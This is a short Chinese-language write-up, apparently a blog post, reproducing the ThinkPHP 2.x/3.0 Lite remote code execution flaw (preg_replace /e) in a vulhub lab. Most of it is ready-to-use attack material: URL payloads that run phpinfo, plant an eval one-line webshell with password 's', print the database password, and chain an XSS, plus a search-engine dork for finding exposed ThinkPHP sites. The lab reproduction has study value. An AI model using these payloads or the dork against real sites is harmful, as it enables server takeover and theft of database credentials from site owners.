漏洞介绍
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
环境搭建
vulhub一键
漏洞复现
构造payload:
http://192.168.234.147:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
,即可执行phpinfo();
其他的一些Payload:
http://site/index.php/module/action/param1/{${eval($_POST[s])}} //一句话密码:s
http://site/index.php/module/action/param1/${@print(THINK_VERSION)} //查看版本
http://site/index.php/module/action/param1/${@print(C(‘DB_PASS’))} //查看数据库密码
thinkphp intitle:系统发生错误
貌似还发现了一处xss??
http://192.168.234.147:8080/index.php/module/action/param1/$%7B@eval(implode($_GET))%7D?a=print(%22%3Cscript%3Ealert(/xss/)%3C/script%3E%22);
就这样吧。。。版本太老了,也没人用了。